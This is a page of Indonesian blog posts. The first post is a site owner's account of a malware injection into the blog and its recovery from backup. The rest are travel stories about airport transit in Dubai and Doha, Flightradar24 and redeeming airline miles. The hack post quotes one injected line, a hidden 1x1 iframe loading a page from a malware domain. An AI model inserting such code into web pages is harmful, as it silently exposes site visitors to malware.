Selama 4 Hari Blog http://tulisan-ringan.com Sempat Lumpuh

Mohon maaf sebelumnya kalau selama 4 hari terakhir mulai dari tanggal 24-27 Oktober anda tidak bisa mengakses www.tulisan-ringan.com. Iya benar, selama empat hari berturut-turut blog saya sempat tidak bisa dibuka. Awal mula saya tahu kalau blog tersebut tidak bisa dibuka ketika saya hendak mem-posting-kan tulisan, begitu alamat tersebut saya ketikkan di browser saya, seketika ada peringatan yang menyebutkan seandainya url tersebut di-klik akan membahayakan komputer saya seperti gambar di samping.

Kemudian yang saya lakukan adalah mengikuti petunjuk yang disampaikan dalam peringatan yang muncul di browser tersebut dan sampailah saya pada arahan untuk mengecek di Google’s Webmaster Tool yang beralamat di https://www.google.com/webmasters/tools/home?hl=en. Untuk login ke url ini, cukup menggunakan akun dan kata sandi Google yang kita punya, karena satu akun bisa digunakan untuk membuka semua layanan Google. Sebelumnya saya sudah mendaftarkan alamat blog saya tersebut ke Google Webmaster. Dari Google Webmaster ini bisa diketahui beberapa content dari halaman blog saya terkena malware (seperti tampak pada gambar sebelah kiri). Ada seseorang, yang saya tidak tahu alasannya kenapa, mencoba memasukkan kode jahat untuk maksud-maksud tertentu seperti mencuri data dari komputer seseorang yang sedang mengunjungi blog saya tersebut. Salah satu kode jahat tersebut seperti di bawah ini:

<iframe src=”http://osbasedreceiva.pl/img3/count.htm” width= “1” height=”1″ frameborder=”0″>. Osbasedreceiva.pl adalah salah satu malware jahat.

Saya tidak akan membahas lebih lanjut tentang malware ini. Karena malware inilah tulisan-ringan.com sempat down selama 4 hari berturut-turut. Kemudian yang saya lakukan adalah sebagai berikut:

  • Saya mencoba menghubungi hosting service dimana saya menyewa domain tulisan-ringan.com. Kebetulan saya menyewa domain dari IDwebhost, dan service mereka sangat bagus dalam membantu saya me-recover blog saya ini untuk kembali bisa dibuka
  • Saya meminta IDwebhost untuk me-restore backup yang ada. Ternyata mereka masih menyimpan 2 backup terbaru, tertanggal 20 dan 25 Oktober

-rw——-+ 1 root root 494602541 Oct 20 11:47 tulisan3.tar.gz
-rw——-+ 1 root root 510928543 Oct 24 14:42 tulisan3.tar.gz

  • Dari Google Webmaster Tool terlihat bahwa hacker/peretas mulai aktivitas memasukkan kode jahat per tanggal 25 Oktober, dengan demikian saya meminta domain service untuk me-restore file backup per tanggal 20 Oktober
  • Setelah ada konfirmasi dari domain service kalau file backup tersebut sudah direstore,  kemudian yang saya lakukan adalah login kembali ke Google Webmaster Tool untuk meminta mereka meninjau kembali blog saya tersebut. Biasanya mereka akan me-response dalam kurun waktu 1×24 jam. Dan Alhamdulillah pagi ini tidak ada pesan peringatan yang terlihat melalui “health check” di Google Webmaster yang artinya saya sudah bisa kembali membuka blog dan menuliskan kembali cerita-cerita saya seperti biasanya dan
  • Saya meminta domain service untuk me-reset kata sandi control panel dan ftp situs saya untuk menghindari kejadian serupa terulang lagi. Memang bukan jaminan akan terhindar secara permanen. Ancaman peretas masih bisa saja terjadi kapan saja, namun paling tidak dengan me-reset kata sandi bisa meminimalisir kejadian serupa

Semoga orang yang mencoba memasukkan kode jahat ke blog saya ini mengerti bahasa Indonesia dan berkunjung ke blog saya kembali. Saya hanya ingin berpesan kepada beliaunya, janganlah mematikan kreatifitas orang lain dengan tindakan jahat meretas dan memasukkan kode jahat ke dalam blog ini, karena tidak ada manfaatnya. Isi blog ini hanya sebatas berbagi cerita, tidak ada transaksi finansial yang bisa anda curi dengan meretas blog ini. Salam damai dengan berbagi cerita…

Posted in Tips | Tagged , , , , , , | 1 Comment

Suasana Transit di Dubai International Airport

Meneruskan tulisan saya sebelumnya tentang suasana transit di Doha International Airport, berikut akan saya tuliskan suasana transit di Dubai International Airport, terutama di Terminal 3 sebagai hub maskapai Emirates Airlines. Untuk suasana transit di Abu Dhabim bisa dibaca dalam tulisan suasana transit di Abu Dhabi International Airport. Berbeda dengan Qatar Airways, seluruh penumpang Emirates Airline baik yang tujuan terakhir turun di Dubai maupun yang transit di sana (baik untuk penumpang kelas ekonomi maupun bisnis), akan turun di terminal yang sama. Yang membedakan hanya pintu masuk ke terminal, apakah masuk melalui pintu yang bertuliskan Dubai Arrival, atau masuk ke pintu yang bertuliskan transfer.
 

Ketika kita naik Emirates Airlines kadang kala pesawat akan turun jauh dari pintu kedatangan dan kadang juga pesawat akan merapat di pintu kedatangan dengan menggunakan garbarata. Ketika pesawat parkir di area jauh dari pintu kedatangan, bus akan mengantar penumpang ke terminal kedatangan. Begitu tiba disana, jangan sampai salah masuk pintu. Ketika kita keluar dari bus, ada dua pintu memasuki terminal, sebelah kiri (dari arah kita keluar dari pintu bus) terdapat pintu dengan tulisan “Dubai Arrival” dan ketika kita menghadap ke kanan, ada pintu bertuliskan “Transfer”. Tentu saja ketika kita hanya transit di Dubai, kita harus masuk melalui pintu yang bertuliskan “Transfer” ini.

Begitu kita memasuki pintu transfer ini, selanjutnya yang perlu dilakukan adalah antri untuk custom clearance barang bawaan kita. Proses custom clearance barang bawaan di Dubai International Airport terbilang lumayan ketat. Selain tas bawaan yang harus masuk x-ray scanner, semua barang bawaan yang mengandung metal juga harus masuk ke x-ray scanner, seperti perhiasan, ikat pinggang, sepatu yang mengandung sol metal, dll. Kalau tidak, begitu kita melewati pintu detektor, alarm akan berbunyi dan petugas akan menyuruh kita untuk melakukan hal yang sama melewati pintu detektor kembali, dengan sebelumnya petugas menyuruh kita melepas semua barang yang kira-kira mengandung unsur metal tersebut.

Sekali lagi, sebaiknya sebelum mengantri di custom clearance ini, segala sesuatunya dipersiapkan terlebih dahulu, untuk mempermudah dan mempercepat proses custom clearance. Tiket dan passport disimpan saja di dalam tas, tidak usah dikeluarkan. Ikat pinggang, perhiasan, jam tangan dan barang lainnya dimasukkan juga ke dalam tas, nanti bisa dipakai kembali selepas melewati pintu detektor dan mesin x-ray selesai. Setelah proses custom clearance selesai, perhatikan petunjuk arah yang bertuliskan “All Departures Gates” dan ikuti petunjuk arah ini. Pintu kedatangan terletak di lantai satu. Sedangkan pintu keberangkatan terletak di lantai dua. Ketika kita mengikuti petunjuk arah tersebut, kita akan diarahkan ke semua pintu keberangkatan di lantai dua, untuk keberangkatan pesawat dengan tujuan manapun.

Begitu sampai di lantai dua atau terminal keberangkatan, hal yang pertama yang menurut saya penting dilakukan adalah mencari layar monitor yang bertuliskan “Departures – Flight Information” karena disana kita akan mengetahui pesawat lanjutan akan  diberangkatkan melalui gate nomer berapa dan jam berapa. Layar monitor ini terletak di beberapa titik dan mudah sekali ditemukan. Kemudian hal kedua yang perlu dilakukan adalah mengetahui direktori atau peta lantai dua ini sendiri. Perhatikan atau cari konter yang ada teks berjalan bertuliskan “Welcome to Dubai International” . Di sisi-sisi dinding konter ini akan ada layar atau monitor sentuh yang memuat direktori atau peta petunjuk yang berisi informasi dimana kita bisa menemukan toilet, tempat mandi, tempat makan, duty free dan tempat belanja, tempat hiburan, lounge, dll. Sepertinya memang Dubai airport ini didesain se-user friendly mungkin, bagaimana penumpang bisa dengan mudah menemukan atau mencari informasi yang diperlukan tanpa harus bersusah payah atau kebingungan dimana mereka harus bertanya. Apalagi Dubai International Airport ini luas sekali. Tanpa dilengkapi dengan sarana-sarana informasi seperti yang saya sebutkan diatas, saya tidak bisa membayangkan bagaimana kebingungan para penumpang menemukan informasi terkait dengan jadwal penerbangan, pintu keberangkatan, hiburan, tempat belanja dan makan, dan lain sebagainya. Dan jangan khawatir, ketika kita tidak bisa atau bingung mengoperasikan alat direktori di atas, kita bisa bertanya kepada petugas yang duduk di konter informasi. Mereka akan menjawab semua pertanyaan dengan ramah. Tentu saja petugas hanya melayani dalam bahasa Inggris. Kalau sangat terpaksa karena bahasa Inggris kita pas-pas-an, coba padukan dengan bahasa tarzan hehe. Yang penting petugas mengerti maksud dari pertanyaan kita tadi. Tapi gimana mereka bisa tahu ya kalau mereka tidak paham apa yang kita tanyakan haha. Pokoknya tidak usah khawatir tersesat di Dubai International Airport karena disana dilengkapi dengan segala bentuk sarana informasi yang sangat memadai.

Ketika kita berada di dalam Dubai International Airport, suasananya seperti kita sedang berada di dalam sebuah mal besar. Di kanan, kiri, dan tengah koridor banyak sekali ditemukan konter-konter yang menjual aneka barang mulai dari perhiasan, jam tangan, fashion, restoran, elektronik, sun glass, minuman, makanan, apotik, minimarket, parfum, kosmetik, apa saja ada disana. Suasana transit jadi tidak membosankan. Menunggu waktu transit terasa cepat berlalu, apalagi kalau diantara kita memang senang berbelanja. Dan barang-barang yang dijualpun bukan sembarangan barang, misalnya item fashion yang dijual di konter-konter disitu terdiri dari item-item yang branded. Tinggal kita sesuaikan saja uang saku yang ada di dompet hehe. Terus terang sama halnya seperti di Doha airport, saya tidak mempunyai data apakah harga-harga yang dijual di Dubai airport ini lebih mahal atau lebih murah dibandingkan dengan airport lainnya atau di toko di luar airport. Yang pasti hampir semua item bisa dengan mudah kita temukan di duty free terminal 3 Dubai airport. Jadi seandainya memang pada nantinya anda akan transit di Dubai, siap-siap saja bawa uang saku yang cukup, siapa tahu memang ada item atau barang yang mau dicari dan bisa didapatkan disini hihi. Kalau kita ingin mencari makanan atau minuman, pun begitu mudah. Dari makanan cepat saji, restoran yang menjual aneka sea food dan caviar, konter cafe ternama waralaba internasional, konter yogurt dan aneka jus, konter bakery ternama semuanya ada dan sangat mudah ditemukan di dalam airport. Atau mungkin kita ingin membeli cindera mata khas negara Timur  Tengah, barang-barang kerajinan, makanan seperti aneka olahan dari kurma,  kaos bertulis “Dubai” ada juga.  Jadi penumpang benar-benar dimanjakan dengan suasana interior terminal keberangkatan yang benar-benar mencegah mereka untuk cepat dan mudah merasa bosan, namun menjaga mereka tetap senang sambil menunggu menghabiskan waktu transit dan tentu saja tidak mereka sadari menghabiskan uang untuk dibelanjakan di duty free di sini. Sebuah konsep yang dibuat dengan perencanaan sangat matang, perpaduan sebuah bandara internasional dengan tempat belanja modern. Salut, dan semoga bandara internasional Soekarno Hatta yang baru, yang akan mulai dioperasikan tahun 2014 mendatang, bisa mengikuti jejak Dubai International Airport. Semoga..

Seperti yang sudah saya sebutkan sebelumnya, Dubai Airport ini sangat luas. Ada lima terminal  keberangkatan, yaitu A, B, C, D dan F. Untuk kali ini saya hanya bisa menyusuri Gate B dan C saja karena terbatasnya waktu transit saya. Semoga lain waktu saya bisa menyusuri dan menuliskan cerita sampai di Gate A, D dan F. Apa yang saya tuliskan lebih banyak tentang suasana di Gate B. Ada beberapa pintu keberangkatan di Gate B ini. Semisal karena saking asyiknya kita jalan-jalan dan tanpa disadari kita berada di suatu lokasi di dekat B21, dan ternyata pesawat lanjutan akan diberangkatkan dari B2, kita dengan mudah bisa memperkirakan berapa lama waktu yang dibutuhkan ketika kita berjalan dari B21 menuju ke B2 dengan melihat diagram Time Planner.

Atau semisal kita kehabisan uang tunai dan membutuhkan beberapa lembar uang dollar, euro, atau pound, ada beberapa ATM dari sebuah bank yang bisa kita temukan. Namun hati-hati, terutama ketika anda transit di Dubai dan mau pulang balik ke Jakarta dan kemudian mengambil uang tunai berbentuk lembaran US dollar dari ATM ini, karena uang kertas US dollar yang dikeluarkan akan berupa pecahan kertas 50 USD dan kadang-kadang lembaran kertasnya tidak selalu mulus, beberapa diantaranya ada yang lecek. Tahu sendiri kan bagaimana bank-bank di tanah air memperlakukan uang kertas USD hehe. Nah jalan satu-satunya ketika anda sudah terlanjur menarik uang USD dari ATM ini, anda harus menghabiskan untuk belanja di Dubai duty free dari pada anda membawa pecahan uang kertas 50an USD tadi ke tanah air, dan anda tukarkan di salah satu bank nasional di tanah air. Nilainya akan merosot. Saya mempunyai pengalaman sendiri bagaimana kecewanya saya karena terlanjut menarik uang USD dari salah satu ATM yang ada di Dubai airport. Cerita lengkapnya bisa dibaca disini Bijak Menarik Tunai USD Melalui ATM.

Di Gate B sendiri terbagi menjadi dua area, pertama area duty free yaitu area dimana banyak kita temukan tempat untuk berbelanja segala  macam keperluan dan kedua area keberangkatan. Kedua area ini letaknya sejajar, dibatasi sebuah sekat dimana sekat ini adalah konter-konter duty free itu sendiri. Di gate atau pintu keberangkatan akan dipasang tujuan pesawat dan tanda B yang diikuti dengan nomor pintu, misalnya B25, artinya pintu keberangkatan ada di terminal B, gate nomer 25. Di masing-masing pintu keberangkatan akan disediakan kursi-kursi tempat menunggu penumpang. Ketika gate sudah dibuka, penumpang bisa mulai melakukan proses check-in. Ruang tempat menunggu penumpang setelah proses check-in sampai waktu boarding tiba adalah di lantai satu. Jadi ketika proses check-in selesai, penumpang akan diarahkan menuju ke lantai satu melalui ekskalator. Jadi ketika kita transit dan jalan-jalan di Dubai duty free, kita berada di lantai dua dari Dubai airport. Dan ketika kita selesai check-in dan menunggu waktu boarding tiba, kita akan berada di lantai satu Dubai airport.

Di antara terminal B dan C ada sebuah taman yang cukup memberikan pemadangan berbeda, sejuk dan hijau. Ada beberapa tanaman asli dan air terjun artificial serta kolam mini buatan. Ketika kaki sudah capek melangkah menyusuri luasnya Dubai duty free, kita bisa berhenti sejenak di taman ini sekedar menikmati pemandangan hijau dan suara gemericik air. Cukup bisa memberikan kesegaran dan suasan lain. Apabila kita terus melangkah menjauh dari taman, kita akan menuju ke terminal C. Terminal ini terletak di lantai satu. Begitu kita menginjak ke terminal C, pemandangan pertama di hadapan kita yang sangat mencolok adalah koridor atau dinding yang berwarna biru dihiasi dengan photo-photo mengenai sejarah perkembangan Emirates Airlines dan pembangunan Dubai airport. Kalau anda tertarik ingin mengetahui sejarah perkembangan Emirates dan Dubai airport, anda bisa membacanya dari ujung ke ujung. Lumayan informatif memberikan informasi kepada penumpang dan sekaligus secara tidak langsung sebagai sarana promosi yang efektif mengenai Dubai dan sejarahnya kepada para penumpang yang datang dari seluruh penjuru dunia. Sekali lagi saya kagum dengan arsitek yang merancang Dubai International Airport ini. Perpaduan bandara, tempat belanja dan sekaligus paparan sejarah. Tidak sedikit para penumpang menyempatkan diri untuk mampir dan membaca cerita dan mengamati photo yang terpampang di dinding berwarna biru ini. Penumpang bisa membaca sejarah dari tahun ke tahun perkembangan Emirates Airlines dan Dubai International airport.

Suasana di terminal C agak sedikit berbeda dengan suasana di terminal B. Ketika kita bisa menjumpai banyak konter duty free di terminal B, tidak demikian dengan suasana di terminal C. Di kanan dan kiri lebih banyak dijumpai pintu-pintu atau gate keberangkatan. Hanya beberapa di temukan konter restoran, cafe, apotik di sela-sela pintu keberangkatan tersebut. Ketika kita ingin datang ke duty free di terminal C ini, kita harus jalan sampai ke ujung terminal C kira-kira berdekatan dengan gate C18. Di bawah gate C18 akan terlihat duty free yang terletak di ground floor dari terminal C ini. Duty free-nya pun tidak selengkap yang ada di terminal B, walaupun tentu saja saya yakin apa yang ada di duty free terminal C sudah cukup lengkap untuk memenuhi keinginan anda berbelanja. Hal yang perlu diperhatikan ketika kita ingin berjalan-jalan menyusuri seluruh isi terminal adalah selalu ingat kapan atau jam berapa pesawat lanjutan kita akan diberangkatkan dan melalui gate atau pintu keberangkatan nomer berapa. Misalnya tujuan pesawat lanjutan kita adalah EK356 dengan tujuan ke Jakarta dan akan diberangkatkan melalui gate B25. Ketika kita jalan-jalan sampai ke C18, kita harus bisa memperkirakan berapa lama waktu yang dibutuhkan dari gate C18 untuk kembali lagi menuju ke gate B25, jangan sampai tidak cukup waktu untuk menuju ke pintu keberangkatan pesawat kita tersebut. Di terminal C pun ada monitor yang menampilkan informasi keberangkatan pesawat, pada jam dan melalui gate nomer berapa. Dengan demikian sebaiknya sebelum menyusuri semua lokasi di Dubai International Airport ini, benar-benar diingat jam keberangkatan pesawat lanjutan kita mengingat begitu luasnya bandara Dubai. Nanti kalau keasyikan jalan melihat-lihat bandara Dubai tapi pada akhirnya kita ketinggalan pesawat, kan jadinya ga asyik lagi hehe.

Seandainya pesawat lanjutan anda akan diberangkatkan melalui terminal A, D atau F dan ketika anda turun001 pertama kali di bandara Dubai anda berada di terminal B, maka untuk menuju terminal A, D, F perhatikan arah petunjuk. Dari terminal B harus menggunakan kereta untuk menuju ke terminal A, D dan F. Pertama kali yang perlu anda lakukan adalah mencari lift yang mengantarkan anda ke tempat menunggu kereta yang akan menuju ketiga terminal tersebut. Gampang sekali, karena akan ada papan penunjuknya dan ikuti saja arahnya. Kemudian setelah 003sampai tunggu saja sampai kereta datang. Kereta akan menempuh tidak lebih dari 10 menit menuju ke terminal A, D dan F. Sesampainya di kedatangan ketiga terminal tersebut dan sesaat anda keluar dari kereta, perhatikan petunjuk arah dan akan lebih mudah kalau anda menggunakan lift untuk mengantarkan anda menuju ruang tunggu terminal A, D dan F. Begitu sampai di ketiga terminal tersebut, anda akan menikmati suasana yang sama persis dengan terminal B dan C, bersih, luas, dan anda akan dimanjakan dengan banyaknya pilihan untuk berbelanja, makan, atau sekedar cuci mata dan melihat-lihat saja.

Demikian tulisan saya mengenai suasana transit di Dubai International Airport. Semoga bermanfaat terutama bagi anda yang belum pernah transit disana dan mungkin baru pertama kali akan transit di Dubai.

Posted in Cerita-Cerita | Tagged , , , | 70 Comments

Memonitor Lokasi Pesawat Terbang Secara Realtime Melalui Situs Flightradar24.com

Apakah anda mempunyai temen, keluarga, suami, istri, anak, pacar yang sedang melakukan perjalanan jauh dengan menggunakan pesawat terbang dan anda ingin tahu posisi pesawat yang ditumpangi orang yang anda cintai dan sayangi sudah sampai mana? Ada satu situs yang menyediakan informasi secara real-time 24-jam nonstop jalur lalu lintas pesawat terbang di seluruh dunia yang terbang pada ketinggian beberapa ribu feet di atas langit sana. Situs ini beralamat di www.Flightradar24.com. Selanjutnya apa yang saya tulis disini saya rangkum dari informasi yang ditulis di menu “About” pada situs yang saya sebutkan di atas.

Informasi real-time yang ditampilkan di situs Flighradar24.com ini diperoleh dengan bantuan teknologi  dan peralatan yang disebut ADS-B (Automatic Dependent Surveillance-Broadcast). Saat ini kurang lebih 60% pesawat komersial di seluruh dunia dilengkapi dengan alat ini, dan tentu saja prosentasenya akan terus bertambah di kemudian hari. Selain itu situs ini juga menampilkan informasi lokasi pesawat yang datanya diperoleh dari FAA (Federal Administration Aviation), terutama untuk data-data pesawat yang terbang di atas wilayah udara Amerika Serikat dan Kanada. Namun karena terbentur regulasi FAA, apa yang ditampilkan dari data ini terjadi delay kurang lebih selama 5 menit. Oleh karenanya, maka informasi lokasi pesawat yang ditampilkan di situs ini dibedakan menjadi dua, yang delay diberi kode warna orange, dan yang real-time diberi kode warna kuning.

Bagaimanakah teknologi ADS-B ini bekerja? keterangannya bisa dijelaskan melalui ilustrasi disamping:

  1. Pesawat mendapatkan informasi lokasi dari GPS navigasi (satelit)
  2. Alat ADS-B yang terpasang di pesawat akan mentransmisi sinyal yang berisi informasi lokasi dimana pesawat tersebut berada
  3. Sinyal yang dipancarkan oleh ADS-B tadi akan ditangkap oleh receiver yang tersambung ke Flightradar24
  4. Receiver mengirimkan data ke Flightradar24

Jenis pesawat komersial yang umumnya dilengkapi ADS-B adalah sebagai berikut:

  • All Airbus models (A300, A310, A318, A319, A320, A321, A330, A340, A380)
  • BAe ATP
  • BAe Avro RJ70, RJ85, RJ100
  • Boeing 737, 747, 757, 767, 777, 787
  • Embraer E190 (most new deliveries)
  • Fokker 70 and 100
  • Gulfstream V, G500/G550
  • McDonnell Douglas MD-10, MD-11
  • Sukhoi SuperJet 100
  • Some newer Ilyushin and Tupolev (for example Il-96 and TU-204)

Sedangkan jenis pesawat komersial yang tidak dilengkapi ADS-B antara lain:

  • Antonov AN-225
  • ATR 42, 72
  • Boeing 707, 717, 727, 737-200, 747-100, 747-200, 747SP
  • All CASA models
  • All Bombardier Dash models
  • All Bombardier CRJ models
  • Dornier 328
  • All Embraer models (except most new deliveries of Embraer E190)
  • Jetstream 32
  • Fokker 50
  • McDonnell Douglas DC-9, MD-80, MD-90
  • Saab 340 and 2000
  • “Air Force One”
  • Most older aircraft
  • Most military aircraft

Berikut beberapa tampilan situs Fligthradar24.com. Pada saat kita membuka situs ini, kita akan dihadapkan pada suatu GIS map window dengan miniatur-miniatur pesawat yang berwarna kuning dan orange. Di pojok kanan atas ada drop down menu yang bisa kita gunakan untuk memilih lokasi yang kita mau untuk ditampilkan di GIS map-nya Flightradar24. Saya mencoba untuk mengecek posisi pesawat Emirates Dubai – Jakarta EK-358 yang berangkat dari Dubai kurang lebih jam 11 pagi waktu Dubai. Saat saya sedang menulis  sekarang ini harusnya posisi pesawat Emirates tersebut sudah dekat dengan Jakarta. Yang saya lakukan adalah memasukkan kata kunci ke mesin pencari “Search flight” yang ada di pojok kiri atas dengan menuliskan “EK-358”. Saya mendapatkan hasil pencarian yang langsung bisa dilihat di peta-nya seperti nampak pada gambar di samping. Dari sana saya bisa mendapatkan informasi jalur lintasan pesawat, posisi pesawat sampai dimana yang bisa terlihat di peta, dan beberapa keterangan lainnya  yang ditampilkan di panel sebelah kiri. Saya juga bisa melihat kira-kira view seperti apa yang dilihat oleh pilot dengan meng-klik menu cockpit view. Dan masih banyak lagi informasi-informasi yang bisa kita dapatkan melalui menu-menu yang ditampilkan melalui situs ini. Menurut saya situs ini sangat bermanfaat sekali karena dengan demikian kita atau keluarga kita bisa saling memantau seandainya masing-masing sedang dipisahkan oleh jarak ribuan feet tingginya karena salah satunya sedang melakukan perjalanan dengan menggunakan pesawat terbang.

 

Posted in Cerita-Cerita | Tagged , , , , , | Leave a comment

Perjalanan Singkat dengan Menukarkan Skyward Emirates dan Qmiles Qatar Airways

Kadang kala karena sesuatu hal yang penting, saya harus melakukan short trip pulang ke tanah air selama weekend saja. Kalau di tanah air jamak orang bilang pjka, pulang Jumat kembali Ahad. Pada umumnya sebutan pjka ditujukan kepada orang yang bekerja dan berkantor di Jakarta dan pada hari Jumat sore sudah bersiap berkemas untuk pulang ke daerah ke kampung halaman masing-masing, serta hari Minggunya sudah siap kembali ke Jakarta lagi sehingga hari Senin paginya sudah siap kerja.

Apa yang saya lakukan mirip dengan sebutan pjka di atas, namun bedanya saya melakukan dengan terbang dari satu negara yang jarak tempuhnya 12-13 jam dari Indonesia (tidak termasuk waktu transit) untuk balik kembali ke kampung halaman saya di Jogja. Sering kali teman-teman saya heran dengan keisengan saya ini, namun saya menganggapnya sudah biasa. Saya beranggapan saja sedang melakukan perjalanan dari Stasiun Senen di Jakarta menuju ke Stasiun Lempuyangan di Jogja, dengan menggunakan kereta api kelas ekonomi. Waktu tempuh akan sama saja kurang lebih 12-13 jam.

Bulan September 2012 ini untuk kesekian kalinya saya merencanakan short trip atau perjalanan singkat selama weekend untuk balik ke tanah air. Kalau dipikir-pikir tentu saja harga tiketnya akan relatif sangat mahal, karena perjalanan yang relatif pendek. Tidak sepadan dengan waktu istirahat yang hanya sehari semalam di tanah air. Dua malam waktu akan habis untuk perjalanan. Namun kadang keinginan untuk pulang mengalahkan segalanya. Tetapi tentu saja saya juga menggunakan cara bagaimana saya bisa meminimalkan cost yang saya keluarkan untuk melakukan perjalanan singkat ini. Dari sisi waktu tempuh saya tidak bisa berbuat banyak, karena memang jarak tempuhnya memakan waktu selama itu. Yang bisa saya lakukan adalah bagaimana saya bisa menekan harga dan mendapatkan tiket semurah mungkin, salah satunya dengan menukarkan mileage points yang sudah terkumpul.

Setelah saya melihat beberapa jadwal penerbangan, akhirnya jadwal yang cocok dengan apa yang saya maui adalah pada weekend terakhir di bulan September. Itu saja saya tidak bisa menggunakan perjalanan return menggunakan satu maskapai. Saya harus sedikit mengakali agar jadwal penerbangan sesuai dengan keinginan saya. Akhirnya yang bisa saya lakukan adalah terbang dari tempat kerja pulang ke Indonesia dengan Emirates dan terbang dari Indonesia balik ke tempat kerja menggunakan Qatar Airways. Kedua perjalanan dengan kedua maskapai diatas sama-sama saya lakukan dengan menukarkan mileage points.

Seperti tampak dalam gambar di sebelah kiri, dibutuhkan 47500 Skyward points (Emirates point) untuk perjalanan one way dari tempat kerja ke Jakarta plus tax kurang lebih 9 USD. Ini berarti saya hanya cukup mengeluarkan biaya kurang lebih 9 USD untuk satu kali tiket perjalanan diatas. Point mileage tersebut terkumpul dari perjalanan-perjalanan yang saya lakukan sebelumnya. Kebetulan sampai saat ini Skywards points saya baru terkumpul 48000 points. Sedangkan untuk perjalanan sebaliknya dari Jakarta ke tempat kerja, saya tidak bisa menggunakan Emirates karena Skyward points yang saya miliki tidak cukup. Terpaksa saya menukarkan mileage point yang saya miliki dari maskapai yang lain, yaitu Qmiles Qatar Airways. Mungkin ada yang bertanya, kenapa saya tidak menukarkan Qmiles Qatar Airways saja untuk perjalanan return (pulang-pergi) dari pada saya menggunakan Emirates dan Qatar Airways? Seperti yang sudah saya sebutkan diatas, sayangnya jadwal yang saya kehendaki tidak sesuai dengan jadwal yang tersedia ketika saya mencoba untuk mencari flight dengan cara menukarkan mileage point saya tersebut dengan demikian terpaksa saya harus menggunakan dua maskapai yang berbeda. Dan itu pun pada hari dan tanggal yang saya kehendaki, hanya tersedia kelas bisnis. Seperti tampak pada gambar di samping kanan atas, saya harus menukarkan 46500 Qmiles untuk perjalanan one way kelas bisnis Qatar Airways. Sebenarnya tidak hanya 46500 Qmiles yang harus saya tukarkan untuk satu tiket kelas bisnis, tetapi saya harus membayar tax sebesar 178 USD (tidak nampak dalam gambar). Kenapa tax Qatar Airways lebih besar dari tax Emirates? saya tidak tahu jawabannya. Dengan demikian kalau dihitung-hitung total uang cash yang harus saya keluarkan untuk biaya perjalan singkat selama weekend akhir September nanti adalah kurang lebih 187 USD saja, untuk mendapatkan 1x tiket ekonomi dengan Emirates dan 1x tiket bisnis dengan menggunakan Qatar Airways. Lumayan murah dibandingkan membeli kedua tiket tadi dengan cara biasa tidak dengan menukarkan mileage points…

Posted in Cerita-Cerita | Tagged , , , , | Leave a comment

Suasana Transit di Doha International Airport Lama

Cerita yang ditulis di bawah ini adalah suasana transit di Doha International Airport yang lama sebelum mereka pindah di Hamad International Airport yang baru. Pemerintah Qatar mulai mengoperasikan Hamad International Aiport tanggal 27 Mei 2014. Dengan demikian mereka sudah tidak lagi menggunakan airport yang lama seperti yang diceritakan di bawah ini. Apabila anda dalam waktu dekat ini akan melakukan penerbangan dengan Qatar Airways dan transit di Doha, sebaiknya membaca tulisan Suasana Doha International Airport yang baru bisa dibaca disini Suasana Transit di Hamad International Airport, Doha.

Ada tiga maskapai penerbangan internasional yang biasanya saya gunakan ketika saya bepergian keluar negeri, terutama perjalanan dari Indonesia ke arah Middle East dan Eropa. Maskapai tersebut adalah Qatar Airways, Emirates, dan Etihad. Masing-masing maskapai ini selalu menjadi langganan menduduki peringkat lima besar menurut lembaga pemeringkat SkyTrak. Saya sebenarnya sangat ingin mencoba menggunakan Garuda, karena sekarang Garuda juga sudah membuka jalur penerbangan dari Jakarta ke Amsterdam, transit di Dubai, dan Garuda pun dua tahun terakhir juga langganan mendapatkan penghargaan dari lembaga pemeringkat SkyTrak. Namun sayangnya kadang keinginan saya ini terbentur dengan tidak kesesuain hari dan jam jadwal keberangkatan dan kepulangan yang saya maui dengan jadwal yang ada di Garuda. Semoga Garuda Indonesia ke depannya akan semakin banyak menambah dan membuka jalur penerbangan ke banyak kota di dunia, sehingga pilihan saya akan jatuh ke Garuda daripada ketiga maskapai yang sudah saya sebutkan di atas.

Pada beberapa kesempatan mendatang saya akan mencoba menuliskan suasana transit di Hub Qatar Airways (Doha International Airport), Hub Emirates (Terminal 3, Dubai International Airport: ceritanya bisa dibaca disini Suasana Transit di Dubai International Airport), dan di Hub Etihad (Terminal 3, Abudhabi International Airport: ceritanya bisa dibaca disini Suasana Transit di Abu Dhabi International Airport). Untuk kesempatan pertama, saya akan membagi cerita bagaimana suasana transit di Doha International Airport.

Ketika kita menggunakan maskapai Qatar Airways, tas bawaan yang akan kita bawa masuk ke kabin akan ditandai dengan tag yang warnanya beberapa macam, tergantung tujuan kita masing-masing. Apabila tujuan akhir perjalanan kita di Doha, maka tas kita akan diberikan tag berwarna biru. Sedangkan tag warna kuning akan diberikan pada tas kita apabila kita hanya transit di Doha. Tag warna ungu apabila kita menggunakan kelas bisnis dan transit di premium terminal di Doha. Ketika pesawat Qatar Airways yang membawa kita sudah mendarat di Doha, pesawat akan mendarat jauh dari terminal kedatangan, dan untuk saat ini di Doha International Airport belum ada layanan garbarata, atau tangga yang menghubungkan pintu pesawat keluar ke pintu masuk terminal kedatangan. Penumpang akan turun dan dibawa ke terminal menggunakan bus.

Bus akan berhenti di beberapa terminal kedatangan. Jangan sampai salah turun. Harap selalu diperhatikan warna tag yang dikaitkan di tas bawaan kita. Apabila tag tersebut berwarna kuning, terminal tempat kita turun adalah di terminal transfer. Perhatikan pintu terminal ada tandanya berupa neon box berwarna kuning bertuliskan “Transfer Departure” jangan sampai kita turun di terminal yang di pintunya ada tanda neon box berwarna biru bertuliskan “Doha Arrival”. Untuk penumpang transit kelas bisnis mereka akan turun di terminal transit kelas bisnis tersendiri. Apa yang akan saya tuliskan selanjutnya di blog ini adalah ketika kita transit di Doha dengan menggunakan tiket kelas ekonomi.

Begitu kita turun dari bus dan memasuki pintu terminal transfer, hal pertama yang harus kita lakukan adalah ikut mengantri untuk melakukan custom clearance. Tas bawaan kita akan diperiksa petugas custom di Doha dengan cara memasukkan tas tersebut di x-ray scanner sebelum kita masuk ke terminal transfer. Sebaiknya sebelum kita ikut antri, segala sesuatunya dipersiapkan terlebih dahulu. Passport dan tiket tidak usah dikeluarkan, lebih baik disimpan di dalam tas, karena petugas tidak akan menanyakan tiket dan passport. Segala bentuk perhiasan, jam tangan, ikat pinggang dan lain-lain yang mengandung unsur logam sebaiknya dimasukkan di dalam tas. Karena nanti pada saat kita melewati pintu detektor dan berbunyi, petugas akan menyuruh melepaskan benda-benda tadi dan kita diminta untuk mengulang kembali melewati pintu detektor logam serta memasukkan barang-barang tersebut ke x-ray scanner.

